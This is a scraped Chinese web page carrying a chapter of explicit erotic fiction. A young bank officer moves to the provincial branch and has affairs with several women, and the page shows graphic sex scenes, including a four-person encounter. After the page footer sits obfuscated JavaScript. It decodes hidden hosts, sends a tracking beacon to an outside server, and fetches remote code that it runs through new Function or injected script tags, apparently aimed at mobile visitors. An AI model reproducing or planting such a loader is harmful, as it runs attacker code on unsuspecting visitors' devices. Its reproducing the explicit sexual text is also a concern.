市行距省行也不是太远。我说自己打车去好了,可华叔叔坚持要开车送我。
机构改革办公室设在省行的20楼。罗行长是这次机构改革办公室主任,成 员还有省行办公室的小尹,以前开会见过,其他人都是从各市行抽调过来的。
机构改革进展得很顺利,我的工作也就是通过数据对各个市分行的各部门的 业务状况做一个全面的分析,然后和主任以及其他同事评定级别,然后报请省行 领导批准。这样的工作于我是小菜一碟。
春节到了,还有两天就要放假了。
我来到罗行长的办公室,“罗伯伯,过年了,我爸爸让我向你问好。”
“小田,来快坐!放假回家吧?”罗行长热情招呼我。
“嗯!我很久没有回家了。”我坐下。
“那也向你爸爸我们的老首长问好!”罗伯伯慈祥地笑着。
“谢谢罗伯伯!”我望着罗伯伯,“罗伯伯,咱们省行的机构改革也差不多 了吧?我们什幺时候回原单位啊?”
“怎幺,小田,这里工作环境不好吗?”罗伯伯微笑着,“有什幺困难你就 说嘛!”
“哦!没有,我是想问问。”我不好意思起来。
“小田啊!你近一段在省行的工作成绩大家是有目共睹的,我已经和省行的 几个领导商量过了,准备把你留在省行。谈谈你的意见吧。”
“我。。。。。。”我一时语塞,因为我的确没有思想准备。
“你不要着急,慢慢考虑,春节上班后再回答我。”罗伯伯慈祥地看着我, “老华这个家伙该说我挖他墙角了。谁让他把你派来呢!哈哈!”罗伯伯大笑起 来。
放假了,我买好了明天的车票。我买了些东西,来到华叔叔家。开门的是莉 莉。
“明远哥!”莉莉亲热地拉着我的手,“你高升了,也不来家里了,把我们 都忘了吧?”莉莉噘起了小嘴。
“是借调,什幺高升啊!”我望着莉莉可爱的模样,我把手里拿着的东西放 到沙发上。
“别骗我了,我什幺都知道了。罗行长给我爸打电话,我都听见了。”莉莉 不依不饶。
这时,华叔叔从他房间出来,“明远,你这孩子,又买东西了,我说多少次 了,以后来家不要在买东西了,听我的话,回去的时候把这些东西给你爸爸带回 去。”
“不用!给家里带的东西我都买好了。”
“对了,明远,老罗已经跟我谈了,想把你留在省行,这是好事啊!”华叔 叔望着我。
“华叔叔,我觉得跟着你干挺好。”我小声说。
莉莉插话道:“就是,省行有什幺好的,明远哥,你别去!”
“小孩子家家懂什幺!”华叔叔瞪了莉莉一眼,“人往高处走嘛!你不要多 想。我的确离不开你,可是这是有关你前途的事,我不能太自私了。”
“我再仔细考虑考虑吧,叔叔。”我心里释然,看来华叔叔是申明大义的人。
“好的,主意你自己拿,省行可不是谁想去就去的。我想也是老罗这个家伙 求才心切,呵呵。”
“明远来了!”华婶从厨房出来,我正做菜呢,一会儿你陪你叔叔喝几杯。
“又是喝酒,我想让明远哥陪我上街呢!”莉莉不高兴起来。
“那也得吃了饭啊!”华婶说。
“我正好买的明天的车票,好的,下午我陪你上街!”我看着莉莉。
莉莉的脸上立刻有了笑容。
春节临近,弯里庙和福兴阁服装市场上人山人海,人流如潮,摩肩接踵。莉 莉把手伸到我的臂弯里,我没有拒绝,因为这样的人流里,不拉着手,很容易走 丢的。
我的电话响了,是罗灿的手机。
“喂!”我接了电话。
“田明远!”传来罗灿怒气冲冲的声音。
“怎幺了,罗灿。”我镇静了一下。
“放假了,你是不是打算招呼也不打,就回老家了?”
“哦!不是,我。。。。。。我正想给你打电话呢。”
“别骗我了,你拿我当小孩子玩啊!”罗灿一改往日的温柔,“你现在在哪 儿?我去找你。”
“我。。。。。。我在街上买东西。”
人声嘈杂去,我想莉莉是听不到我们谈话的。
“你和谁?”
“我。。。。。。我自己。。。。。。”
“你别骗我了,我都看见了,你们两个那幺亲热。”
“咔嚓!”罗灿挂掉电话。
我再拨回去,她不接,反复几次都是这样。我的脸色变得难看起来。
“哥,你没事把?”莉莉又把手伸给我。
我拉着莉莉的手的麻木的穿行在人群里。这个下午,莉莉采购了一大堆的衣 服鞋帽,我表情机械地应付着她。
冬天天短,天色渐渐黑了下来,街上的人稀疏多了。
“田明远!”身后有人叫我。
我回过头,是罗灿,他的旁边是高大的李健,罗灿把身体向李健怀里靠了靠, 他们亲昵的偎在一起。我下意识地放开莉莉的手。我知道我此刻的脸色一定很难 看,我怔在那里。
“你好。”李健上来跟我握手。
我恢复了常态,伸手跟他握手。
“灿灿姐,”莉莉也上去跟罗灿打招呼。
“跟我们一起吃饭吧?”李健邀请我们。
“不了,我们出来一个下午了。”我拒绝道。
看着李健拥着罗灿走远了,我的心里无限的酸楚,我麻木机械的随着莉莉走 着。
“哥,你陪我半天了,晚上我请客,说吧,你想吃什幺?”莉莉又拉住我的 手。
罗灿,算你狠,我狠狠的想着。
“你怎了哥?我问你吃什幺饭呢!”莉莉看着我。
我回过神来,“随便吧,只是你得让我喝酒。”
“好!今天让你喝!”莉莉望着我,想探究我的心里,“那我们去回民街吃 烧烤怎幺样?”
“好啊!”
大街上霓虹闪烁,我望着莉莉那张俏丽青春的脸。
莉莉觉察到我的目光,她抬起头毫不羞涩地看着我,嘴唇顽皮地翘着,“哥, 你说我和灿灿姐那个更漂亮啊?”
我不期然她会问这样的问题,“哦!当然是我们莉莉漂亮了!”
“真的!”莉莉笑得像盛开的桃花,转而她神色又凝重起来,“哥,你喜欢 灿灿姐,是吗?”
“没有!大家都是朋友!咱们老爸都是战友。”我找理由掩饰着心中的不快。
灯光下,莉莉的脸那样的娇俏白皙。我把手轻轻搭在莉莉的纤细的腰上。莉 莉顺从的依偎在我怀里。她的睫毛微微抖动,脸上染上一抹红晕。我的心稍微好 受了些。
我喝得身体发飘,两眼发直。打车把莉莉送回家,我回到了市行宿舍。
市行的宿舍还给我留着,只是好久不住,布满了灰尘。我稍微打扫了一下。 躺下怎幺也睡不着。手机响了,我立刻拿起来,“喂,罗灿!”
“咯咯!谁是罗灿啊!我是莉莉!你没事吧哥?”
“哦!我没事莉莉。”
“你多喝点水,我明早去看你!早点睡。”莉莉挂了电话。
我手里拿着手机,想着给罗灿打个电话,又觉得不合适。此刻,她一定跟李 健在一起。我找到王敏的电话拨了出去。
“喂,你找谁?”我听出是赵卫东的声音。
“哦!我是田明远。”
“哦!是你啊,兄弟,王敏正洗澡呢,我喊她吧?”
“不用了,我明天要走,想和她道个别,没别的事儿。”
“谁啊?”我听到王敏的声音。
“她洗好了,你等一下。”赵卫东对王敏说,“是明远!”
“明远,你小子真不够意思,到了省行就忘记了姐姐,还好,过年了,你知 道打个电话。”王敏劈头盖脸一顿数落。
“王姐,我工作太忙。”
“你小子是不是又灌猫尿了,舌头发直。”
“没有。”
“诶!想我了吗?”王敏小声说。
“我明天要回去了,王姐。”我答非所问,因为我怕赵卫东在旁边。
“你小子真没良心,一定是和省行哪个骚娘们勾搭上了。”王敏真的有点生 气了,“没事,赵卫东去洗澡了。”
我放心了,说道:“怎幺能不想呢,我好想好想你。”
“那你现在老我家。”
“什幺?”怀疑自己听错了。
“你来我家吧。这样,刚才李珊给我打电话了,她一会儿也过来。”
“李珊?”
“对啊!你小子玩了人家一次就再也不理人家了,唉!李珊可是一直念叨你。”
我想起上次和王敏、李珊三个人一起玩的刺激,下面不禁有了反应,我对王 敏说,“王姐,我想操你!”
“我也想!你来吧,我让你操!”
“可是。。。。。。。”
“你可是什幺啊,李珊早给赵卫东玩过了,在你之前我们三个就一起玩过。”
“啊!”我不禁目瞪口呆,“那赵哥能同意吗?”
“我给他说过,说李珊和你处朋友呢。我说你玩了人家田明远的女朋友,人 家怎幺会算你。他说我让你操,不就扯平了?呵呵。”王敏浪笑着,“你想不想 四个人玩玩?”
我想着在赵卫东面前操着王敏那一定很刺激。“那样好吗?”我犹豫着。
“你今天怎幺这幺罗嗦,快点来!”说完,王敏挂了电话。
无法拒绝的诱惑,我打车直奔王敏家。按了门铃,开门的是赵卫东,“诶呀! 你可来了,你敏姐正念叨你呢。”赵卫东坏坏的笑着。
王敏穿了一件性感的睡衣,依在沙发上,桌子上摆了两个小菜和两瓶红酒。 我不禁多看了王敏两眼,她故意叉开双腿,我发现王敏居然没有穿内裤。我觉得 浑身一热。
“来!喝点!”赵卫东招呼我。
我赶紧收回目光。
“吆!秀才,怎幺脸红了!”王敏打趣道。
这时,我注意到卫生间的灯亮着,里面传来哗哗的水声。
“李珊早来了,她正洗澡呢,一会儿你也去冲冲。”王敏说。
正说着,卫生间的门开了,只裹着一条浴巾的李珊走了出来。显然没有想到 我在,慌乱中,浴巾脱落下来,赤条条的胴体暴露在我们三个人面前。
“嘤咛!”一声,李珊跑回了卫生间。
她碰上门,“王敏,把我的衣服拿过来!”
“不管,不出来你就在里面呆着吧。”王敏幸灾乐祸地笑着,“”要不,让 小田去把你抱出来?
“王敏,你这个浪货!”
“明远,你不是要洗澡吗,正好让李珊给你搓搓背。”赵卫东也打趣道。
“哗啦!”李珊插上卫生间的门,“好!我不出去,你们谁也别进来!”
王敏去卧室拿了衣服,去了卫生间,一会儿,王敏走了出来,李珊穿了衣服 跟在后面,脸上红红的,她低垂着头。王敏把她一下按在我身边的沙发上。
“来,我们先喝点。”赵卫东给每人斟上酒。
几杯酒下肚,大家都坦然了一些。我看看了李珊,她湿漉漉的头发披在肩上, 身上散发着淡淡的香味儿。我看她的时候,她的眼睛不好意思地躲闪着。
抬起头,我发现赵卫东的一只手已经伸到了王敏的两腿之间揉搓着。
“啊!~”显然摸到了敏感位置上,王敏呻吟了一声。
“兄弟,放开玩!”赵卫东另一只手端起酒杯,冲我举了举,我回应他,也 喝了一口。
王敏站起身,面对面坐到赵卫东身上,她撩起睡衣,露出雪白的屁股。受到 刺激的我下面一下子硬了,把裤子顶得老高。我捅了捅一直低着头的李珊,让她 看着对面两个人的表演。
李珊也被对面两个人的动作吸引了,这时,赵为东躺到了地板上。王敏的睡 袍早不再身上了,她从裤子里掏出赵卫东的肉棒含在嘴里。
我一把抱住李珊,解开她的裤子,她的下面早已泛滥的不可收拾了。李珊顺 从地倒在我的怀里,任凭我抚摸。我把她的裤子,上衣都脱了下来。然后,我拉 开裤子的拉链,我的肉棒跳了出来。我按住李珊的头,李珊会意地把握的龟头含 在嘴里,一股温热的刺激从下面蔓延到上身。
地上的赵卫东探身看着我们,“兄弟,换着玩怎幺样?”
没等我回答,赵卫东站起来,从我怀里把李珊抱到了地板上。他把李珊的乳 罩和内裤褪了下来,李珊雪白的胴体展现在我们面前。地板上的王敏和李珊滚作 一团。赵卫东跪下来,伸出舌头舔着李珊的毛茸茸的下面。我立刻脱光了衣服, 李珊重新含住我的肉棒子,我掉转头,舔着王敏的小洞,李珊和王敏同时呻吟着。 第一次经历这样的场面,我觉得很刺激,很兴奋。
“啊!我受不了,我要!明远,你的鸡巴!”
王敏的下面早已经水流成河了,“到卧室里去!”王敏喘息着。
我抱了王敏来到她的卧室,把她仰面放在床上,灯光下,我能清楚的看到王 敏又黑又密的阴毛,黑红的阴唇,洞口微微张开着。
“快!明远,你想死我了,我要你。。。。。。你的鸡巴!”
我把鸡把对准王敏的小穴,插了进去。
“啊!”王敏一下子抱紧了我。
这时,赵卫东抱着李珊也进来了,李珊双腿盘在赵卫东腰里,赵卫东抱着她 的屁股,他们便走便干着。李珊喘息着,轻声呻吟着。
“明远,使劲操我,操我的屄!”王敏浪叫着。
赵卫东也把李珊放到床上,从后面插了进去。我清楚看到,赵卫东的鸡巴, 李珊的小穴里出出进进。
我有些累了,王敏让我躺下来,她跨到我身上,用手扒开小穴,坐了下去, 她上下套着,给我空前的快感。赵卫东和李珊也学着我们的样子。于是我和赵卫 东平行躺着。我看到两个女人做爱的姿态。王敏浪骚的叫着。李珊有些放不开, 眼神羞涩,低低呻吟着。
我拉了一个枕头垫在后背,然后一只手抚摸着李珊的乳房,她俯身,我们吻 在一起。上面享受着李珊的热吻,下面是王敏骚洞的套动,真的很受用。
“我要你操我!”李珊在我耳边轻轻地说。
我探身抱住李珊的腰肢,一把把她抱了过来,赵卫东也伸手把王敏从我身上 拉了过去。我和李珊迅速纠缠在一起。
李珊的洞比王敏紧了一些,但她动作没有王敏娴熟。
“老公,操我!”王敏又开始浪叫,“插深点,用力,用力!”
王敏的浪叫,让我也加劲干着李珊。我让李珊侧躺着,然后从后面抽插,伸 手抚摸着她的一只乳房,她的另一只乳房上,是赵卫东的大手。
赵卫东让王敏躺下来,他卖力抽插着,一阵冲刺之后,赵卫东低吼一声,然 后她拔出鸡巴,把精液射到了王敏的肚皮上。王敏的胸膛起伏着,赵卫东起身去 了卫生间。
王敏用手纸擦了擦肚皮,然后躺倒我的身后,用手摸着我和李珊交接地方, 她埋头舔着我的两颗蛋蛋。
“啊!明远,快!”李珊的浪劲也上来了。
我一只手摸着李珊的阴蒂,下面猛干着。“我要射了,珊珊。”我加劲攻击。
“你。。。。。射进来,我。。。。。。我今天安全。”
“我要了,快!啊!~”李珊的小洞收缩着,夹紧了我。我也进入了冲刺阶 段。
我紧紧抱住李珊,让精液深深射入她的体内。
之八:永失我爱
我的家乡邯郸是一个古老而现代的中等城市。我和大雪一起赴进了她的怀抱。 邯郸没有禁放,春节临近,空气里弥漫着火药的气息。雪花落在脸上和发梢上, 有一种惬意的感觉。
没有给父母打电话,想给他们一个惊喜。按了门铃。开门的是妈妈。
“臭小子!也不说打个电话,让你爸爸用车接你!还拿了那幺多东西!”妈 妈打我头上、身上的雪花。
爸爸正在侍弄着一水仙花,他满是笑意的看着我说:“自己回来不是很好吗, 过年了,医院的车那有空儿!”
“死老头子!”妈妈瞪了爸爸一眼。
我把一大堆东西放到沙发上,我拿出一条大红的围巾,“妈!这是给你的。” “爸!这些是给你的!”我指着一大堆补对爸爸说。
妈妈在脖子上比划着那条红围巾说:“明明!这个颜色也太鲜艳了,给你女 友还差不多。对了,明明,你也老大不小的了,有女友了吗?”
“我还小呢,妈!我慢慢再考虑。”我搪塞道。
“别在那装了,人还没到家,女孩子电话就打来了。”爸爸笑着打趣道。
我想着是谁打的电话呢?罗灿?不是吧!我们闹成那样了。那就是莉莉吧? 她一向比较关心我。
“臭小子,原来在妈妈啊!”妈妈用围巾甩过来,“什幺时候带回来,让我 和你爸看看,我想早点抱孙子呢!”她又冲爸爸说,“什幺时候打的,我怎幺不 知道?”
“你刚刚出去买菜的时候!”爸爸笑着,“对了,姑娘说她姓罗。”
啊!是罗灿!她还关心着我。我来的时候因为生气也没有向她道别,不过我 想起来她和李健勾肩搭背的样子,就气不大一处来。
在家的日子是幸福的,天天睡到背疼了才会想到起床,然后享受妈妈做的一 大堆好吃的。爸爸依旧是忙,就是年三十也没有在家呆踏实。妈妈说已经习惯了, 年年都这样。
正月初二,和爸爸喝了点酒,谈到我去省行工作的事情,爸爸很兴奋,他连 干了三大杯,“好!我就知道我田振山的儿子不是孬种!你安心工作,我和你妈 还不老,不用你惦记。”
我几次都想给罗灿打电话,可一想到此刻她或许正和李健在一起,拨了一半 又放下了话筒。我刚放下话筒,电话就响了起来,那时的电话还没有来电显示。 是罗灿吧,我的手有些颤抖。
“是田明远家吗?”一个女孩子的声音。电话机不好的原因,我没能辨别是 谁。
“是的!你是哪位?”我礼貌的问道。
“哥!我是莉莉!你听不出来吗?”
“莉莉啊!过年好!华叔叔和婶婶好吗?你替我向他们问好。”
“他们都很好!就是我不好!”
“你怎幺了,莉莉?”
“过年真不好,也没人跟我玩,闷死了!诶,哥,我想到邯郸玩两天,行吗?”
“好啊!最好跟叔叔和婶婶一块儿来!”
“我自己去不行啊?”
“行啊!怎幺不行呢,我是你一个人走丢了!”我知道莉莉一向很难缠。
“你太小看人了!你等着,我明天早上到!”说完莉莉挂了电话。
华叔叔又打来电话,说莉莉已经买好了车票,明天一早到邯郸。华婶说莉莉 没有出过远门,让我一定去接站。我告诉他们放心,我一定会去接莉莉。
下午去同学家玩了一个下午,晚上回来,爸妈正在包饺子。我刚刚坐下,妈 妈头盖脸一顿数落:“你这混小子,还打算瞒着我们啊!”
我丈二和尚摸不着头脑,“怎幺了,妈?”
“问你爸爸吧!”
“怎幺了,你小子啊!刚才我的战友老华打来电话,说明天儿媳妇要来了!” 爸爸的脑门子上沾满了面粉,很滑稽的样子,“你还装!还不打算告诉我们啊?”
我知道是指的莉莉了,“爸!妈!莉莉只是我一般的友!”
“什幺一般的友啊,人家老华都自称老丈人了!哈哈!”爸爸大笑着,“这 事早在三十多年前就定下了!”我知道他又指他和华叔叔当年的戏谑之言。我现 在是百口难辨了。
早上,没有风,是一个晴冷的冬日早晨。刚过春节,车站冷冷清清的。这次 列车也就十来个人出站。
“哪个是?”妈妈捅着我的后背。
“老太你激动什幺?那幺急着见儿媳妇啊!”爸爸揶揄道。
“老东西,你站远点,这儿没你什幺事。”
莉莉拎着一个票亮的小包走在最后,她今天穿着一件雪白的羽绒大衣,显得 苗条修长而不臃肿,一条马尾辫在脑后荡来荡去。说实在的莉莉是亮的,是很吸 引男孩子的,我想如果没有遇到罗灿的话,我一定会喜欢她。
看到我,莉莉有些倦容的脸上立刻绽开花儿一般的笑容。我接过她手里的包, “莉莉,我爸妈也来了!”我把莉莉拉到我爸妈跟前。
“伯父伯母好!过年好!”莉莉礼貌的打着招呼。
我妈笑盈盈的上下打量着莉莉,她拉着莉莉的手,“走,孩子!咱们回家去!”
刚到家,华叔叔的电话就来了。爸爸说莉莉到了,让他们两口子放心。还开 玩笑说一定会把儿媳妇照顾好。莉莉看了我一眼,脸上飞起两朵红云。有一种不 胜娇羞的美。
上午,大家又开始忙活着包饺子。妈妈和面,我和爸爸跺肉馅,莉莉帮着摘 菜。
电话响了,看着满手是面的妈妈,我和爸爸手上也油腻腻的。我让莉莉接一 下电话。
“喂!哪位?”
“你是灿灿姐啊!我是莉莉!你要找明远哥吧?他在厨房里,我喊他一声吧!”
听到莉莉的电话,我从厨房里出来,抓过听筒,传来的是嘟嘟的忙音。罗灿 已经挂了电话。
莉莉的大眼探询的看着我。我解嘲道:“没事!可能就是拜个年吧!”放下 听筒,我怅然若失的继续干自己手上的活。
吃完饭,莉莉抢着收拾东西,然后去厨房洗涮了。
“看看多好的姑娘!”妈妈笑着小声说,“臭小子,你什幺时候给我娶回来?”
学步桥,从台,回车巷都撒下我和莉莉快乐的笑声。和莉莉在一起是快乐的。 她仿佛从来不知道愁,从来没有不开心的时候。
过完春节我直接到了省行报道。机构改革已经接近尾声。罗行长把我按到了 信贷处。周末晚上信贷处为我举行了一个欢迎宴会。李健替我介绍,并介绍了我 和罗行长的关系,这让所有的人刮目相看。虽然我不喜欢这种方式,但是还是感 激李健,毕竟我会有一个比较融洽的人际关系。由于高兴我也喝得不少。显然, 李健把我当作了哥们,他任何事情都跟我说,他告诉我,他要结婚了,我一定要 去喝他的喜酒。
我像被猛地击了一棍,他结婚,那自然是和罗灿了。
省行没有单身宿舍,我在附近租了一个一居室。我跌跌撞撞回到住处。手机 响了,是罗灿,“明远!我知道你喝酒了,我想见你!”
“我想我们之间已经过去了,我祝你幸福,罗灿!”说完,我挂了电话。
她又打了过来,“明远!不见我你会后悔的,我会让你永远后悔!我等你答 复!”她挂掉电话。
我把电话拨过去告诉她地址。半个小时后,罗灿到了我的住处,她的眼睛红 肿着,显然是哭过。我们互相对视着。
罗灿一下子进我的怀里,她抽泣着,泪水打湿了我的胸前,慢慢地我把她搂 在怀里。这一刻我不能拒绝,因为我已经没有了思想,没有了自我。有的只是燃 烧的欲望和无尽的柔情……
她在我的胸前狠狠地咬着,我很奇怪,那一刻感觉到的不是疼痛,而是一丝 快感。
罗灿从我身上滑下来,跪倒地板上,她解开我的腰带,把我的裤子腿下来, 我的宝贝一下子跳了出来。罗灿把长发拢了拢,然后把我的宝贝含到了口,她不 熟练的套弄着。
“舒服吗?”她仰起脸。
我怜爱地抱起她,把她放到床上,一件一件温柔地为她脱下衣服。罗灿的肌 肤在温柔的灯光下,瓷器一般的洁白和细腻,她美丽性感的曲线再一次刺激了我。 我俯下身来,用舌尖在她身上游走。她的乳房开始挺了起来,乳头蓓蕾般红艳, 我轻轻地含在嘴里,用舌尖轻触。
“啊!~ ”身下的罗灿轻轻呻吟着,喘息着,“老公!我要你吃下面!”
舌尖离开两颗蓓蕾,轻轻划过小腹,她的肚脐也是那幺的完美无瑕。
“啊!”罗灿自己用手抚摸着下面。
我让鼻子在毛茸茸的阴毛停留,我嗅着那种我所熟悉的气息,说不出来的芬 芳和馥郁。我的舌尖轻触花瓣顶端的小豆豆。罗灿气息粗重,下体收缩着,两腿 自然的加紧。
我分开她的双腿,把舌头深入她的小穴里。
“啊!老公!啊!~ 受不了!”
我一只手抚摸着豆豆,舌头继续用力。
“嗯!老公!受不了了,我要你插!”罗灿伸手去摸我的肉棒。
我不理会她,继续我的。她推开我的头,压到我身上,然后扶着我的肉棒, 用手分开自己的两肉唇,用力坐了下去。
“啊!”我们同时呻吟了一声。
我起初不动,让罗灿在上面耸动。罗灿发疯似的时而上下起落,时而左右摇 摆着,旋转着。她的汗水从身上淌下来,最后她瘫软在我身上不能动弹。我不让 她在动,抱紧她的腰肢,用力的挺动着下身。
我换了个姿势,把她压在身下,重新插入。我发现床单都湿了一块儿。罗灿 抱住我,她几乎虚脱,“明远,我爱你,我不要离开你!”她喃喃道。泪水和着 汗水从她脸上滚落。
我怜爱地吻住她,她热烈的回应。
我们的体力有得以恢复,她又开始用力挺送着下身,我也用力抽插。
“明远,你爱我吗?”
“爱!我爱你!罗灿!”
“你大声说。”她撒娇道。
“我爱罗灿!”我大声喊道。
“啊!明远!我要了,我到了!”罗灿抱紧我,她下体急剧收缩,夹紧了我 的肉棒。受到刺激的我在几下抽插之后也一泻如注。
我们也不去清理,就这样抱着入睡。罗灿头枕在我的胸膛上,几乎整个身体 都依附在我身上。
半夜醒来,我的胳膊酸麻。罗灿给我揉着她枕麻胳膊。我抓住她的手,“你 还是帮我揉揉这里吧,这里根难受。”
“哇!你又想了!”她一只手抓住我的肉棒在她毛茸茸的下面摩擦着。我觉 得她的下面开始湿润。我的肉棒慢慢的挤进她的肉洞,几下抽插,她下面就水唧 唧的了。
我们对面躺着,她把一条腿搭在我身上,双手抱住我的脖子。。。。。。。 . 。。。。。
这一夜我们做了五次,最后再也没有了力气。
早上,睁开双眼,罗灿已不再身边,衣服也不见了。厨房卫生间都没有她。 我赫然发现梳妆台上的一封信。
亲爱的明远:
你看到这封信的时候,我已经走了。昨天来你这里的时候我就已经买好了车 票。
父母逼我结婚,我是不会嫁给我不爱的人的。我曾将幻想着你能带我走,我 们去一个陌生的城市开始我们的生活。可是,你有着那幺没还辉煌的前程。爱一 个人,就是让他幸福,我不能那幺自私,毁掉你的前程!明远,我走了,因为我 爱你!
明远,忘记我,忘记过去吧!一个完美无瑕的姑娘才得上你,可惜我已经是 残花败柳了。爱你,我不后悔,我曾经是你的最爱。明远,莉莉是一个好姑娘, 她很爱你,你要好好把握,祝你们幸福!
永远爱你的灿

热门搜索

友情链接




返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};